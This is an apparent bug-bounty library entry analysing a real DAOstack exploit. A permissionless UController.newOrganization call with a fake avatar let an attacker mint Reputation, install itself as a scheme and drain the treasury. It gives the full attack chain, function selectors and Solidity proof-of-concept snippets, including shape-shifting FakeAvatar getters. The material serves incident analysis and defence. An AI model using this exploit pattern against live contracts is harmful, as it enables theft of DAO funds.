# DAOstack: permissionless newOrganization hijacks Reputation to drain Avatar

Permissionless UController.newOrganization accepted a fake avatar reporting the victim's real Reputation, letting the attacker mint 20k REP, install as a scheme, and drain 4.025 ETH.

- Payout: Real-world hack
- Severity: critical
- Program: DAOstack
- Analysis by: DeFiHackLabs
- Disclosed: 2026-09-26
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-09/DAOstack_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20260926-daostack
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:business-logic vuln:governance

**Target:** UController / Reputation / Avatar governance contracts (Ethereum)
**Root cause:** UController.newOrganization is permissionless and trusts a caller-supplied avatar's nativeReputation()/nativeToken() getters without verifying the reputation isn't already governed by another org; since the shared UController owns the Reputation, registering a fake avatar pointing at the real Reputation grants mint authority over it.
**Steps:**
1. Deploy FakeAvatar whose nativeReputation()/nativeToken() return a decoy on first read and the victim's real Reputation/token on subsequent reads, with owner() returning the UController.
2. Call `UController.newOrganization(fakeAvatar)` (selector `0xb9981364`) from an unrelated attacker contract; it registers msg.sender as a 0x1F scheme over an org pointing at the real Reputation.
3. Call `UController.mintReputation(20000e18, attacker, fakeAvatar)` (`0xeaf994b2`) to mint 20,000 REP against the victim's real Reputation (supply 9,738.6 -> 29,738.6).
4. Use SchemeRegistrar `proposeScheme(victimAvatar, attacker, paramsHash, 0x1F)` (`0x1c940d51`) and GenesisProtocol `vote(proposalId, 1)` (`0x9ef1204c`), burning 200 REP as vote cost, to install the attacker as a full-permission scheme on the real Avatar.
5. Call `UController.sendEther(4.025 ether, attacker, victimAvatar)` (`0x634965da`) to drain the full treasury.
**How found:** Reconstructed from the on-chain attack trace: the tx `to` was empty (contract creation), selectors were recovered from the trace, and the fake avatar's per-getter fake-first behavior was inferred from decoded getter return values differing between reads.
**Exploitation:** Attacker factory contract ran the whole attack from its constructor: deployed a shape-shifting fake avatar, registered it via permissionless newOrganization to gain mint authority over the victim's real Reputation, minted 20,000 REP for a ~67% majority, passed a SchemeRegistrar proposal (burning 200 REP vote cost) to self-install as a 0x1F scheme on the real Avatar, then called sendEther to drain the full 4.025 ETH treasury to the attacker EOA.
**Escalation:** Chained governance registration -> reputation minting -> majority vote -> scheme installation -> treasury drain, escalating from a permissionless registration call to full control of the DAO's funds.
**Insight:** When a shared controller owns per-DAO token contracts, check whether org-registration functions trust caller-supplied getters for those tokens; a fake avatar that returns a decoy on the first read and the real token afterward can slip past validation that reads the getter multiple times.

## Proof of concept (copied exactly from the original report)

**newOrganization hijack then mintReputation and sendEther drain**

```
function run() external {
        // 1. Deploy the shape-shifting fake avatar that reports the victim's real Reputation/token.
        FakeAvatar fakeAvatar = new FakeAvatar(address(UCONTROLLER), REAL_REPUTATION, REAL_TOKEN);

        // 2. Register as a full-permission scheme over an org that points at the real Reputation.
        //    Permissionless: this contract has no prior relationship to the DAO.
        UCONTROLLER.newOrganization(address(fakeAvatar));
```

**FakeAvatar shape-shifting getters returning decoy then real**

```
function nativeReputation() external returns (address) {
        repReads += 1;
        return repReads == 1 ? decoyReputation : realReputation;
    }

    function nativeToken() external returns (address) {
        tokenReads += 1;
        return tokenReads == 1 ? decoyToken : realToken;
    }
```

**UController interface with newOrganization, mintReputation, sendEther**

```
interface IUController {
    function newOrganization(address _avatar) external;
    function mintReputation(uint256 _amount, address _to, address _avatar) external returns (bool);
    function sendEther(uint256 _amountInWei, address _to, address _avatar) external returns (bool);
}
```

